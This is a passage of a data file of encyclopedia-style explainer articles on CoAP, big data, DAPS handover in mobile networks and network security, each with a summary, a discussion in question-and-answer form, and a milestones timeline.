ACK are used with timeout and exponential back-off. If unreliable transmission in sufficient, then NON is used. When ACK is used, response may be piggybacked with ACK or sent separately in a CON. \n\n\n### Where should I use CoAP?\n\nIf you have an existing system that is web service-based, then adding in CoAP is a good option. It's good in resource-constrained environments: energy-limited devices, low-bandwidth links, and lossy or congested networks. On congested networks, CoAP/UDP would work but MQTT/TCP may not even manage a complete handshake. CoAP can be used where broadcast and multicast is needed.\n\nCoAP is suited for building something where a device is deployed in \"report only\" mode. Once deployed, device simply reports data back to a server. Information appliance, control equipment and communication equipment in Smart Home networks need to be low cost and lightweight. Thus, CoAP is suitable for home communication networks.\n\nWhen deploying on third-party networks where we don't have control over firewalls and blocked ports, CoAP may not be suitable. In this case, HTTP/REST is a good option. Since sensor nodes are CoAP servers, there could be issues with Network Address Translation (NAT). LWM2M, which is based on CoAP, overcomes this by requiring clients to send a probe packet first so that router can make the association. Although CoAP does not require IPv6, it's easiest to deploy on IP networks. \n\n\n### What's the security protocol used for CoAP?\n\nCoAP uses **Datagram Transport Layer Security (DTLS)** for security. The DTLS-secured CoAP protocol is termed **CoAPs**. DTLS is based on PSK, RPK and certificate security. There are three main elements when considering security, namely integrity, authentication and confidentiality. DTLS can achieve all of them. DTLS solves two problems: reordering and packet lost. It adds three implements:\n\n    + Packet retransmission\n    + Assigning sequence number within the handshake\n    + Replay detectionUnlike network layer security protocols, DTLS in application layer protects end-to-end communication. No end-to-end communication protection will make it easy for attacker to access to all text data that passes through a compromised node. DTLS also avoids cryptographic overhead problems that occur in lower layer security protocols. \n\nIt's been shown that DTLS adds 11% overhead compared to communication without any security. Moreover, since DTLS is error tolerant, it's more vulnerable to be hacked compared to using TLS. \n\n\n### What are the alternatives to CoAP for IoT messaging?\n\nAmong the alternatives to CoAP are Data Distribution Service (DDS), Advanced Message Queuing Protocol (AMQP), MQTT, HTTP/REST, and eXtensible Messaging and Presence Protocol (XMPP). DDS is from Object Management Group. AMQP and MQTT are OASIS standards. XMPP is defined by IETF. \n\nDDS offers a rich set of QoS and can prioritize traffic based on content. It can use either TCP or UDP. It's model is also flexible: publish-subscribe (like MQTT) or request-response (like CoAP). \n\nA study comparing these protocols concluded that MQTT and RESTful HTTP are popular, possibly because they are stable and mature. MQTT is suitable for constrained devices and RESTful HTTP can fit into fog and cloud computing systems. CoAP is also gaining maturity. \n\n\n### In terms of performance, how does CoAP compare against its alternatives?\n\nA survey that studied the performance of different messaging protocols concluded that CoAP and MQTT show best latency performance. CoAP performs better for high packet losses. CoAP messages can be transferred three times faster than HTTP messages. However, when comparing HTTP/2 with CoAP, HTTP/2 performed better in high congestion scenarios. \n\nCoAP required less bandwidth compared to MQTT. In a network under heavy load, CoAP used less bandwidth than MQTT whereas DDS took up twice the bandwidth of MQTT. CoAP also had higher efficiency, calculated as a ratio of useful information bytes to total bytes at application and transport layers. \n\nIn terms of energy consumption, both MQTT and CoAP are efficient. \n\nWe should note that MQTT is based on TCP. There's also a variant of MQTT called MQTT-SN that runs on UDP. Comparing CoAP against MQTT-SN may be more appropriate. Likewise, CoAP running on top of TCP (RFC 8323) can be compared against MQTT.\n\n\n### Could you compare some implementations of CoAP?\n\nThere are plenty of open source implementations of CoAP. In Java, we have Californium and jCoAP. In C we have, Erbium, libCoAP, and OpenCoAP. Some OS support CoAP: mbed, TinyOS and Contiki. When looking at implementations, we need to consider if it's for client or server; for constrained devices or server side; for browsers; or for smartphones. Carsten Bormann maintains a rich list of CoAP implementations. A similar list is available on Wikipedia.\n\nA comparison of some implementations in C, Java, JavaScript and Python has looked at feature support, targeted platforms and developer usability. It found that CoAPy did not interoperate with any other implementation. On the server side, C implementations (libcoap, smcp and microcoap) are fast. It also compared CPU and memory usage. For example, sharedlib/client/server ROM in bytes are 296K/33K/22K for libcoap and 383K/23K/18K for smcp. Peak RAM usage for C implementations is typically 3.2KB. \n\n\n### What are CoAP standards that developers must read?\n\nAmong the standards relevant to CoAP are the following:\n\n    + RFC 7252: This is main CoAP standard.\n    + RFC 7959: CoAP is for transferring small payloads but if firmware upgrades are needed *block-wise transfers* option becomes useful. Information blocks are sent without maintaining any state.\n    + RFC 7641: What if we want to get notified when resource state changes on the CoAP server? This will save clients from polling the server on a regular basis. *Observing resources* is an option that makes this possible.\n    + RFC 8323: CoAP over UDP supports reliable delivery, simple congestion control and flow control. What if we want reliable transport? This RFC talks about CoAP over TCP, TLS and WebSockets.\n    + RFC 6690: Defines a simple format for exposing resources as a basis for a resource directory.\n    + RFC 7390: Using the multicast feature of CoAP, this RFC details how to use CoAP for group communication.Latest developments of the CoRE Working Group are on IETF website. CoRE parameters, including CoAP method and response codes, are registered with IANA. IANA has assigned port numbers 5683 and 5684 for CoAP and CoAPs.\n\n\n### What are some useful resources for CoAP developers?\n\nFor interoperability testing, coap.me is useful. Wireshark v1.12 has support to decode CoAP packets. To translate CoAP to HTTP and vice versa, such as done on a proxy, *crosscoap* can be used. There's also a handy CoAP cheatsheet. \n\n## Milestones\n\nJun  \n2014\n\nInternet Engineering Task Force (IETF) standardizes the **Constrained Application Protocol (CoAP)** as RFC 7252. \n\nOct  \n2014\n\nOASIS approves **MQTT Version 3.1.1** as an OASIS Standard. \n\nFeb  \n2015\n\nInternet Engineering Steering Group (IESG) approves **HTTP/2** as a proposed standard. \n\nFeb  \n2017\n\nUsing CoAP as the underlying stack, **Lightweight Machine to Machine (LWM2M)** technical standard is approved by Open Mobile Alliance. LWM2M defines interfaces Bootstrap, Client Registration, Device management and service enablement, and Information Reporting. It gives details on resource identifiers, security procedures, and transport layer binding and encodings. \n\nFeb  \n2018\n\nIETF publishes **RFC 8323** titled \"CoAP (Constrained Application Protocol) over TCP, TLS, and WebSockets\" as a Proposed Standard. \n\nApr  \n2018\n\nEclipse Foundation publishes results of a survey on IoT developers. For messaging, more than 60% of respondents use MQTT. CoAP is in the fifth place with only 20% of respondents using it.","meta":{"title":"Constrained Application Protocol","href":"constrained-application-protocol"}}
{"text":"# Big Data\n\n## Summary\n\n\nBig data is a collection of massive data sets that are generated and collected through various sources. Big data can be present in structured, semi-structured and unstructured form. It helps in identifying trends and past behaviours in any field. It has applications in many fields including banking, education, Marketing and business.  \n\nHowever, there are certain challenges associated with big data such as lack of storage capacity and processing technologies. High computing power is required to process big data and find meaningful insights from it.\n\n## Discussion\n\n### Which software technologies are used to manage big data?\n\nIn traditional computing systems, organizations had to buy infrastructure and maintain them to have proper computing system. It was very costly as well as time consuming. Cloud computing solved this problem. It offered customized computing systems at affordable costs. \n\nBig data requires massive on-demand computation power and distributed storage. It is often present in petabytes which is too large for traditional computing systems. Cloud computing provides scalable on-demand integrated computer resources, required storage and computing capacity to analyse big data. Users can use these resources and end the session when done. They will be charged only for the resources used.  \n\nApache Hadoop, an open source distributed processing framework is used to perform the processing of big data. It uses Map/Reduce algorithm to process large volume of data. It works on divide and conquer method in which a problem is broken down into many smaller parts. Gradually other processing tools such as Apache Spark and MongoDB Atlas were introduced after Hadoop. Often an ecosystem of different technologies are used for big data processing. \n\n\n### What are various definitions of big data?\n\nAccording to Edd Dumbill on O’Reilly, big data is data that can't be processed through conventional database systems. The data is too big and increases too fast to fit the structures of database architectures. An alternative way should be chosen to process it. \n\nAccording to Microsoft Enterprise Insight Blog, big data is the process of applying high computing power – the latest in machine learning and artificial intelligence – to massive and highly complex sets of information. \n\nAccording to Networkworld, any amount of data that’s too big to be handled by one computer is big data. \n\nAccording to Cory Janssen's post on Techopedia, big data is a process that is used when traditional data mining and handling techniques cannot find insights and meaning from data sets. \n\n\n### What are the characteristics of big data?\n\nCharacteristics of big data can be defined by 42 V's. Some major of them are as following:\n\n    + Volume: Size of big data is often larger than terabytes and petabytes. Every second more data is stored on the internet than the total data stored on the internet just 20 years ago.\n    + Variety: It denotes the type and nature of the data. Technologies such as RDBMS were capable to handle structured data efficiently but they weren't sufficient to process and analyze semi-structured and unstructured data.\n    + Velocity: The speed at which data is generated and processed for analysis. Two kinds of velocity related to big data are the frequency of generation and the frequency of handling and processing.\n    + Veracity: It signifies the degree of accuracy and reliability of data. Often big data is the accumulation of data collected from various sources, hence it is important to make sure the data collected is accurate and trustworthy.\n    + Value: The useful information retrieved from big data determines its value. All the datasets collected in big data not necessarily provide useful information.\n\n### What are sources of big data?\n\nBig data is made up of text, image, video and audio files. Big data is generated through many sources. Some major sources of big data include Internet of Things (IoT) devices, self quantified data, multimedia data and social media data.  \n\nIoT data is generated by GPS devices, mobile phones, intelligent clothing, alarms, intelligent/smart cars, mobile computing devices, PDAs, window blinds, window sensors. \n\nSelf quantifying data is generated by the measuring individuals' behaviour. Data from wristbands used to monitor movements and exercise and sphygmomanometers utilized to measure blood pressure are examples of self-quantification data. \n\nMultimedia data is generated from various sources such as text, images, and audio and video. Each individual connected to the internet generates this data. This type of data grows exponentially each day.  \n\nSocial media data is generated by platforms such as Facebook, Twitter, LinkedIn, YouTube, Instagram and so on. This type of data grows at the highest speed. Excessive usage of social media leads to a lot of social media data generated each day.  \n\n\n### How is big data stored and processed?\n\nData lakes are used to store big data. Unlike typical data warehouses that are commonly built on relational databases and contain structured data only, data lakes can support various data types and are based on Hadoop clusters (an open source distributed framework that manages data processing and storage for big data applications in scalable clusters of computer servers), cloud object storage services, NoSQL databases or other big data platforms. Consistency, availability and partition tolerance are some important factors of big data storage systems. \n\nOften big data environments are made up of a combination of multiple systems. For instance, a central data lake might be integrated with other platforms, including relational databases or a data warehouse.\n\nTechnologies such as Hadoop and Spark are used to process big data. Heavy computing power is required to process big data which is provided by clustered systems that distribute processing workloads across hundreds or thousands of servers. Hence, Cloud is preferred choice for big data systems. \n\n\n### What are use cases of big data?\n\nCompanies use big data to understand different consumer patterns and improve their operations to provide better customer support. Companies that use big data make better and faster decisions than companies which don't.  \n\nBig data has many use cases in various fields such as finance, healthcare, education, media, IOT and specially business.  Below are some applications of big data:\n\n    + Product development: Big companies such as Netflix and Procter & Gamble use big data to determine customer demand and needs. They find out the key attributes of past successful products/services and use this data to build the new products/services.\n    + Predictive maintenance: Analysis of unstructured data such as log entries, sensor data, error messages and engine temperature can help in predicting the lifespan of products.\n    + Customer experience: Big data allows organizations to collect data from social media, web visits, call logs, and other sources and improve the customer experience.\n    + Fraud and compliance: Big data helps in finding leakage in security systems by finding similar patterns in fraud cases.\n    + Machine learning: Big data allows us to teach machines how to perform instead of just programming them.\n\n### What are challenges faced with big data?\n\nOne of the major challenges with big data is its volume. The size of big data is increasing at a very high speed. According to Oracle, data volumes are doubling in size about every two years. Current data processing algorithms are not capable of retrieving the required information on time in case of big data storage. They are designed for limited amount of data. \n\nData is only useful if it conveys any meaning or gives any results. Organizing data in such a way that it gives insights takes a lot of work. Data scientists spend 50-80 percent of their time curating and preparing data before it can actually be used. \n\nApache Hadoop was the only technology used to handle big data. Soon Apache Spark was introduced. The combination of Hadoop and Spark framework is a better approach for big data processing. Staying up-to date with big data technologies is also an overhead. \n\nOften NoSQL databases are used for big data. NoSQL databases have many advantages such as flexibility, open source, cost effective and scalability. They have certain limitations too such as lack of maturity and consistency related to performance. \n\n\n### What are some good big data practices?\n\nBig data can be an expensive burden on the organization if its employees don't know how to make insightful decisions from it. Hence, organizations deploying big data strategy should consider investing in their employees' skills and training. \n\nWith the increase in collection and usage of data, data misuse also started increasing. European Union employed General Data Protection Regulation (GDPR). It limits the types of data organizations can collect and makes opt-in consent from individuals compulsory for collecting personal data. A similar law is applied in California, called California Consumer Privacy Act (CCPA). \n\nOrganizations should focus on their needs rather than rapidly evolving big data technology. Businesses should find out the problems/opportunities that big data can solve. After that a collaborative effort between data scientist and business executives can lead to fruitful insights from data sets. \n\nLimited and authorised sources of data should be chosen to avoid complexity and useless loads of data. \n\nHaving backup of big data is important as data can be lost or corrupted. Also, it protects data from cyber threats. \n\n\n### How does big data analytics work?\n\nBelow are series of steps involved in deriving big data analytics; \n\n    + Data Collection: Organizations can use numerous ways to collect data from from cloud storage to mobile applications to in-store IoT sensors and beyond. The data is stored in data warehouses and data lakes.\n    + Data Processing: After the collection of data, it is organized properly for further processing. Batch processing is a data processing option which looks at large data blocks over time. It is useful when there is a longer delay time between collection and analysis of data. Stream processing is a data processing option which looks at small batches of data at a time. It shortens the delay time between collection and analysis of data enabling quicker decision-making.\n    + Data Cleaning: Regardless data is big or small, cleansing of data is mandatory before analysis. Any duplicate or irrelevant data should be removed and data should be formatted correctly.\n    + Data Analysis: Now advanced analytics processes are used to turn big data into insights. Some of these big data analysis methods include data mining, predictive analytics and deep learning.\n\n### What are the myths about big data?\n\nWith evolution of big data, myths about big data has also evolved. Some of them are as following:\n\n**Big data is costly and only for IT department** \n\nThe cloud SaaS platforms such as Amazon Web Services, Microsoft Azure and Google Cloud have made big data systems very affordable. No hardware/software purchase or installation is required. The access of right data can improve the performance of employee/organization regardless of department. \n\n**Big data can predict the future** \n\nBig data only tells the possibility of events based on the past data. It does not precisely predict the future. The predictions are based on past events and can be wrong too.  \n\n**Big data is all about size** \n\nVolume is an important characteristic of big data but variety and velocity are equally important feature. Data should not only be large in size but also from credible sources.  \n\n**Big data will replace existing data warehouses** \n\nBig data fulfils specific requirements but it is not the solution for every data-related issue. It cannot replace the traditional data warehouses or RDBMS. \n\n**Big data is just hype** \n\nMarketers in many industries are using it to increase revenue and reduce the operational costs. \n\n## Milestones\n\n1990\n\nPeter J. Denning describes the need for computing machines in his publication, **Saving All the Bits** to process massively increasing data and find statistical summary out of it. \n\n2000\n\nThe Sloan Digital Sky Survey (SDSS) begins collecting astronomical data, it gathers more data in its first few weeks than all data collected in the history of astronomy previously. It collects data at a rate of about 200 GB per night. \n\n2001\n\nDoug Laney introduces the 3Vs concept of big data. The Vs are volume, variety and velocity. \n\n2005\n\nComputer scientists Doug Cutting and Mike Cafarella create an open source framework called **Apache Hadoop**. It is used to store and process large data sets. **Apache Spark** is an open-source data processing framework introduced in 2009. It can quickly perform processing tasks on very large data sets. It provides the computational speed, scalability and programmability required for Big Data. The primary difference between Spark and Hadoop is that Spark processes and retains data in memory for subsequent steps, whereas Hadoop processes data on disk. \n\n2007\n\nThe term **big data** is introduced to the masses in the Wired's article “The End of Theory: The Data Deluge Makes the Scientific Method Obsolete”. \n\n2008\n\nGoogle processes 20 petabytes of data in a single day. \n\n2012\n\nThe White House announces a national \"Big Data Initiative\" that consists of six federal departments and agencies committing more than $200 million to big data research projects. The U.S. state of Massachusetts announces the Massachusetts Big Data Initiative which provides funding from the state government and private companies to a variety of research institutions. \r Harvard Business Review titles Data Scientist as the “Sexiest Job of 21st Century”. \n\n2014\n\nThe British government announces the founding of the Alan Turing Institute to focus on new ways to collect and analyze large data sets. \n\n2016\n\nIBM reports that 2.5 quintillion bytes of data is created every day (that's 2.5 followed by 18 zeroes).","meta":{"title":"Big Data","href":"big-data"}}
{"text":"# DAPS Handover\n\n## Summary\n\n\nIn mobile cellular systems, a UE in an active call might move from one cell to another. Via a procedure called handover the network attempts to maintain the call. Call is handed over from source cell to target cell. However, for some time period the connection is lost. DAPS Handover is an attempt to eliminate this handover interruption time. \n\nDuring Dual Active Protocol Stack (DAPS) Handover, the UE maintains two protocol stacks. One stack continues to receive and send data on the source cell while the other handles traffic in the target cell. Within the RAN, packets are forwarded from source to target. \n\nIn 4G/LTE, Make-Before-Break (MBB) Handover was introduced in Release 14. In 4G/LTE and 5G, DAPS Handover was introduced in Release 16. MBB Handover can be viewed as a simpler form of DAPS Handover.\n\n## Discussion\n\n### Could you explain DAPS handover?\n\nIn 4G/LTE, a basic handover procedure incurs an interruption time of about 30-60ms.  In some cases, interruptions of hundreds of milliseconds have been reported. With the introduction of 5G and its URLLC use case, this is no longer acceptable. URLLC demands a latency of 1ms. \n\nWith DAPS, UE uses resources of both source and target cells even after receiving the handover command. UE suspends Signalling Radio Bearers (SRBs) towards the source cell. On those Data Radio Bearers (DRBs) configured for DAPS, the UE continues to send and receive data on the source cell while connecting to the target cell. Within the network, source eNB/gNB forwards uplink/downlink packets to the target eNB/gNB.  \n\nOnce UE connects to the target cell, the latter commands the UE to release source cell resources. If handover failures, UE continues on the source cell and resumes suspended SRBs.  \n\n\n### What's the difference between MBB handover and DAPS handover?\n\nWith DAPS handover, UE makes the connection with target cell before breaking connection with the source cell. Hence, it's common in literature to call this \"make-before-break\". However, the 4G/LTE specifications uses the term MBB handover in a specific way. Consider the following definitions: \n\n    + **MBB Handover**: Maintaining source eNB connection after reception of RRC message for handover before the initial uplink transmission to the target eNB during handover.\n    + **DAPS Handover**: A handover procedure that maintains the source eNB connection after reception of RRC message for handover and until releasing the source cell after successful random access to the target eNB.In MBB, source eNB decides when to stop downlink transmission. Once uplink transmission is achieved on the target, UE can break its connection with the source. In DAPS, UE releases its source connection only after the target explicitly signals the UE to do so. \n\nMBB is applicable for a change of SeNB in Dual Connectivity (DC) scenarios. It can even be used with RACH-less handover. However, DAPS can't be used alongside DC or RACH-less handover. These must be released by the RAN before initiating DAPS.  \n\n\n### How does DAPS impact the PDCP layer?\n\nAt the UE, PHY/MAC/RLC layers are duplicated, one for source cell and one for target cell. A single PDCP entity deals with both source and target cells. The figure shows the functional view of a 5G UE PDCP layer. In both transmit and receive entities, PDCP has two sets of security functions/keys and header compression protocols. \n\nWhen transmitting, PDCP does routing, that is, decides whether packet should be sent on source or target cell. PDCP Data PDUs are sent to the target cell. PDCP Control PDUs are sent to source or target as associated. \n\nWhen receiving, PDCP detects and discards duplicates since the same SDU may be received on both source and target cells. \n\nIn 4G/LTE, the PDCP layer for DAPS is similar except for integrity protection. 4G/LTE PDCP applies integrity only for control plane but DAPS is for the user plane. \n\n\n### What are the technical details about DAPS?\n\nUE, source/target NG-RAN and source/target AMF should support DAPS. DAPS is selectively applied to DRBs that require it. \n\nInter-RAT DAPS handover is not supported. DAPS FR2 to FR2 is not supported in Release 17. \n\nFor basic handover, UE resets the MAC entity and re-establishes the RLC entity. For DAPS, UE creates a new MAC entity. For each DAPS-enabled DRB, UE creates an RLC entity (with DTCH logical channel) and reconfigures the PDCP entity. If handover fails, UE reports the failure via the source cell without triggering RRC connection re-establishment. \n\nSource gNB continues downlink transmission (and forwarding to target gNB) till it receives *Handover Success* from target gNB. Source gNB then responds with *SN Status Transfer* to target gNB. At this point, source gNB stops delivering uplink QoS flows to UPF. Source gNB no longer allocates PDCP SNs for downlink packets. \n\nEven after switching to target gNB, UE continues to send UL layer 1 CSI feedback, HARQ feedback, layer 2 RLC feedback, ROHC feedback, HARQ data (re-)transmissions, and RLC data (re-)transmissions to the source gNB. \n\n## Milestones\n\nDec  \n2015\n\nSamsung files a patent that mentions **make-before-break handover** as a technique to reduce data interruption time. They describe this type of handover as \"with continued PDUs delivered from the source eNB until the UE is ready to receive data from the target eNB.\" \n\nJun  \n2017\n\nLTE Release 14 reaches functional freeze. The release introduces support for **Make-Before-Break Handover**. \n\nJul  \n2020\n\n3GPP finalizes Release 16 specifications. The release introduces support for **DAPS Handover** in both 4G/LTE and 5G.\n\nFeb  \n2022\n\nMediaTek and Anritsu demonstrate successful DAPS handover. The test system uses MediaTek M80 5G modem and Anritsu's MT8000A Radio Communication Test Station with Rapid Test Designer application software. \n\nMar  \n2022\n\nIn the specifications of 5G Self-Organizing Network (SON), Mobility Robustness Optimisation (MRO) is defined for DAPS. Measurements that need to be collected are defined. DAPS use case is also described.","meta":{"title":"DAPS Handover","href":"daps-handover"}}
{"text":"# Network Security\n\n## Summary\n\n\nComputer network security ensures the integrity of data stored on a network and restricts who has access to it. The necessity to offer service to users and the need to regulate access to information are balanced by network security policies. A network has numerous entry points including hardware and software, and the devices that connect to the network, like PCs, cellphones, and tablets. With these points of access, network security demands the deployment of many defense measures. \n\nAnother layer of protection is provided by processes for authenticating users using user IDs and passwords. Isolating network data makes it more difficult to obtain private/personal information than less vital data. Other network security methods include assuring frequent hardware and software upgrades and patches, educating network users about their participation in security operations, and remaining vigilant against external risks perpetrated by hackers and other hostile actors.\n\n## Discussion\n\n### Why do we need network security?\n\nWith the growth of social networks and e-commerce applications, **data transmission** is an important undertaking. This is because device to device communication requires a network interface, which is insecure due to the several types of tools and software available to destroy the existing network. A **security vulnerability** happens during data transit from one node to another in the sphere of network security. And, this is one of the most important difficulties in this field. This network security is justified by the fact that numerous types of **data attacks** occur on a daily basis. Setting up a new network is straightforward, but protecting the entire network is a major concern. \n\n**Communication** is the most important aspect of network security, followed by **data automation**. The problem of network security is closely linked to the concept of data encryption. Due to the advancement of network security, we have gone back to thumb prints instead of signatures. For example, we use a finger print-based lock system, to keep the data secure. Although this technology helps to avoid physical data theft, logical data theft is still a concern in case of data transfer. \n\n\n### How does network security work?\n\nWhen it comes to network security in an organisation, there are numerous layers to consider. Attacks can occur at any layer of the network security layers model, so your network security hardware, software, and rules must be built to cover all of them. Three separate controls are usually used to secure a network: \n\n    + **Physical-Level Network Security**: Unauthorized staff gaining physical access to network components such as routers, cabling cabinets, and so on is prevented by physical security mechanisms. In any organisation, controlled access, such as locks, biometric authentication, and other devices, is critical.\n    + **Technical-Level Network Security**: Data that is stored on the network or that is in transit across, into, or out of the network is protected by technical security mechanisms. It is necessary to secure data and systems from unauthorised personnel as well as malicious activity by staff.\n    + **Administration-Level Network Security**: Security rules and processes that manage user behaviour are referred to as administrative security controls. This includes how users are verified, their level of access, and how IT staff members apply changes to the infrastructure,\n\n### What can network security provide protection against?\n\n**Virus** is a harmful, downloaded file that can remain inactive and reproduce itself by modifying the code of other computer programmes. Once infected, the files can travel from one machine to another, corrupting/ destroying network data in the process. \n\n**Worms** can slow down computer networks by consuming bandwidth and decreasing the computer's ability to handle data. \n\n**Trojan** is a backdoor programme that allows attackers to gain a computer system's access by imitating an original programme but rapidly revealing itself to be dangerous. It can erase files, trigger additional malware, such as a virus, that is concealed on your computer network, and steal valuable data. \n\n**Spyware** is a computer virus that collects information about a person/ organization without their knowledge and may communicate that information to a third party without their agreement. \n\n**Adware** can reroute your search requests to advertising websites while also collecting marketing data about you. This is to present tailored advertisements based on your search and purchasing history. \n\n**Ransomware** is a type of trojan cyberware that encrypts data and blocks access to the user's system This is to steal money from the person/ organization whose computer it is installed on. \n\n\n### What are types of network security?\n\nEmail gateways are the most common source of security breaches. To prevent the loss of critical data, an **email security** solution stops incoming threats and regulates outbound messages.  \n\nMalware infects a network and then remains inactive for days or even weeks. **Antimalware systems** scan for malware upon arrival, and track files later to look for anomalies, delete malware, and repair damage.  \n\nWireless networks are insecure as compared to conventional networks. Hence, devices created for **wireless network security** to prevent an exploit from taking hold are needed. \n\nA **web security solution** will restrict your employees' access to the internet, block web-based dangers, and prevent them from visiting hazardous websites. \n\nA **virtual private network (VPN)** encrypts the connection between an endpoint and a network, usually over the Internet, in order to authenticate communication between the device and the network.  \n\nAn **intrusion prevention system (IPS)** monitors network traffic in order to detect and prevent assaults.  \n\nOrganizations must ensure that sensitive data is not sent outside the network by their employees. **Data loss prevention (DLP)** technology can prohibit users from sending, transmitting, or even printing sensitive data in an unsafe way.  \n\n\n### What are the most important network security tools?\n\nA **firewall** creates a barrier between a network's trusted and suspicious parts. Also, it uses IP subnets to execute access control and macro-segmentation. It may also perform micro-segmentation, which is more granular segmentation.   \n\nA **load balancer** is a device that distributes traffic based on metrics. It can go beyond standard load balancing to provide the ability to absorb certain attacks, like a volumetric DDoS attack, by incorporating specific mitigation strategies.  \n\nThe conventional **IDS/IPS** installed behind a firewall performs protocol analysis and signature matching on different portions of a data packet, for protection against well-known attacks like SQL injection. Protocol analysis is a check for conformance to the protocol's publicly published specification. \n\nA **sandbox** is similar to an IDS/IPS, however it does not use signatures. It can simulate an end-system environment and detect whether malware objects are attempting to do port scans, for instance.  \n\n**NTA/NDR** examines traffic/ traffic records and evaluates irregularities using machine learning algorithms and statistical methodologies to identify if a danger exists. It attempts to establish a baseline first. It detects irregularities like traffic surges or intermittent communication after establishing a baseline. \n\n\n### What is network security monitoring and is there any real-time application for it?\n\nThe term **Network Security Monitoring (NSM)** refers to the process of detecting security incidents by monitoring network activities. Given the increasing sophistication of cyberwarfare, an NSM system is critical for the security of today's networks. The NSM cycle can be described by four stages: 1) Monitoring, 2) Detection, 3) Forensics/Diagnosis, and 4) Response/Recovery. Its purpose is to monitor the state of a given network to detect abnormal events and, when detected, to manage them in a timely manner. \n\nPoor firewall configuration and monitoring continue to plague networked systems. VisualFirewall aims to help with firewall configuration and network monitoring by displaying four simultaneous views with varied degrees of information and time-scales, as well as appropriately depicting firewall responses to individual packets. Real-time traffic, visual signature, statistics, and IDS alarm are the four implemented views that provide the levels of detail and temporality that system administrators require to adequately monitor their systems in a passive or active way. \n\n\n### What is the role of IDS in network security?\n\nA critical issue for all of the networks is ensuring security, and several academics have proposed various solutions such as firewalls, cryptography, and restricting network access, to address this issue. They have one major flaw: they are unable to detect intrusions and attacks within the network. \n\n**Intrusion detection systems** can detect both internal and external attacks. They monitor inbound network traffic for any unusual activity/ abuse by users. With early identification of intrusions, IDS plays a vital role in mitigating the harm caused by these intruders to the network structure/ the data shared across this network.  \n\nIDS is capable of detecting intrusions in two ways:\n\n(a) Data from the history of operations and transactions carried out by authorised users and hackers in the networks is used to establish patterns for normal and deviant behaviour to distinguish unauthorised users from authorised users by matching these patterns/ signatures with the patterns of activity of existing users.  \n\n(b) IDS can identify hackers who use new tactics to breach the system by utilizing machine learning to classify users based on their network behaviour, traffic amount generated and content downloaded.  \n\n\n### What is a WSN and what is its relevance in network security?\n\nA WSN is a massive network of resource-constrained sensor nodes that perform numerous pre-programmed roles, such as sensing and processing, to achieve various application goals. The sensor nodes and base stations are the most important components of a WSN. In fact, they might be thought of as the network's \"sensing cells\" and \"brain,\" respectively. \n\nAlong with the development of numerous security-sensitive applications in various industries utilizing WSNs, wireless sensor networks (WSNs) security is of critical relevance. WSNs have a number of additional vulnerabilities compared to traditional wireless and wired networks, including changeable network topology, the broadcast nature of the medium, resource restricted nodes, massive network scale, and a lack of physical infrastructure. Because of the open communication environment, WSNs are more vulnerable to a variety of attacks than wired communications, including passive eavesdropping operations that result in intercepted transmissions and active jamming attacks that result in transmission disruption. These additional flaws enable the attacker to carry out more serious and complex attacks. \n\n\n### Describe BYOD Security.\n\nBring Your Own Device (BYOD) refers to a group of linked technologies, concepts, and business practises where employees use their own mobile devices, such as smartphones, laptop computers, and tablet PCs, to access company IT resources, including databases and apps. With the introduction of a new IT environment, such as BYOD and smart-work, operational convenience has improved, but also adds to security dangers. There are many security solutions, including NAC (Network Access Control) and MDM (Mobile Device Management) tools, to counteract those dangers. \n\nNetwork Method approach or network access control technology, focuses on managing and controlling access to business networks (NAC). It manages the devices that connect to the corporate network and offers a wide range of devices from various locations secure and restricted network access. Some network BYOD solutions, such as those from Cisco Networks and Meru Networks, provide BYOD management guidance. \n\nThere are two aspects to BYOD security:\n\n    + Safeguarding corporate assets (networks, corporate data, applications, etc.) from any cybersecurity threats coming from BYOD devices used by employees.\n    + Security measures taken by BYOD endpoints themselves to protect themselves from malware infections, phishing scams, and other security risks that could compromise sensitive data and spread laterally.\n\n### What are cloud vulnerabilities and some countermeasures?\n\n**Vulnerabilities:** \n\n    + Increased resource leverage provides attackers with a single point of attack, which can cause crucial damage.\n    + Data breaches are highly likely to be intentional, malicious, or accidental.\n    + Losing access to a privileged account could result in service interruptions.\n    + Numerous IP flaws, including IP spoofing, ARP spoofing, and DNS poisoning, pose serious risks.\n    + Certain cloud computing characteristics, such as the usage of the trial period of use to conduct zombie or DDoS attacks, can be utilised for malicious offensive purposes.\n    + A malicious insider at the cloud provider has the potential to harm numerous customers severely.**Countermeasures:** \n\n    + Encrypted data cannot be read by the firewall or IDS, so end-to-end data encryption and screening for malicious activity are essential.\n    + Validation of cloud consumers is necessary to stop malicious attacks from taking advantage of key cloud functionalities.\n    + APIs provide secure interfaces for management, orchestration, and automation.\n    + Any vulnerability must be mitigated, according to the cloud provider.\n    + To prevent insider attacks, cloud providers should exercise caution when hiring employees and contractors and strengthen internal security measures.\n    + The cloud provider has safe shared resources, including a hypervisor, orchestration software, and monitoring tools, under a shared/multi-tenancy architecture.\n\n\n## Milestones\n\n1971\n\nThe first computer worm is generated, with the words \"I am the Creeper: catch me if you can\" displayed on the screen. \n\n1972\n\nFor the United States Air Force, James P. Anderson writes a Computer Security Technology Planning Study. This is split into two parts. The Anderson Report is the name given to this report. \n\n1973\n\nMultics is a timesharing operating system that began as a research project at MIT in 1965. Researchers at MIT investigate the security concerns of Multics running on a Honeywell 6180 computer system in the summer of 1973. They come up with security design principles that are broad in scope. With thanks to J. Anderson, they divide these into three categories: unauthorised release, unauthorised modification, and unauthorised denial. \n\n1982\n\nThe first virus, 'Elk Cloner,' is created by a high school student that infects the Apple II operating system. \n\n1986\n\nThe United States passes the first Fraud and Abuse Act, which establishes federal computer offences and punishments. \n\n1988\n\nRobert Morris designs a self-propagating virus, and distributes the denial-of-service (DDoS) assault that causes up to $10 million in damage to the early internet.  \n\n1990\n\nThe Computer Misuse Act is passed in the United Kingdom, making unauthorised efforts to access computer systems illegal. \n\n1999\n\nThe Melissa virus attacks users via Microsoft Outlook in 1999, inflicting an estimated $1.2 billion in losses. \n\n2001\n\nThe National Institute of Standards and Technology (NIST) releases Underlying Technical Models for Information Technology Security. Availability, Integrity, Confidentiality, Accountability, and Assurance are the five security objectives identified. It emphasises the interdependence of these elements. If confidentiality is broken (for example, a superuser password), integrity is likely to be compromised as well. \n\n2002\n\nDonn B. Parker adds three new items to the CIA Triad: authenticity, possession or control, and utility. It's also essential to grasp these six principles in pairs, according to Parker: confidentiality and possession, integrity and authenticity, and availability and utility. Parkerian Hexad is the name given to these six principles over time. \r Five DNS root servers were knocked out by a DDoS attack. It was the first time someone tried to shut down the internet.","meta":{"title":"Network Security","href":"network-security"}}
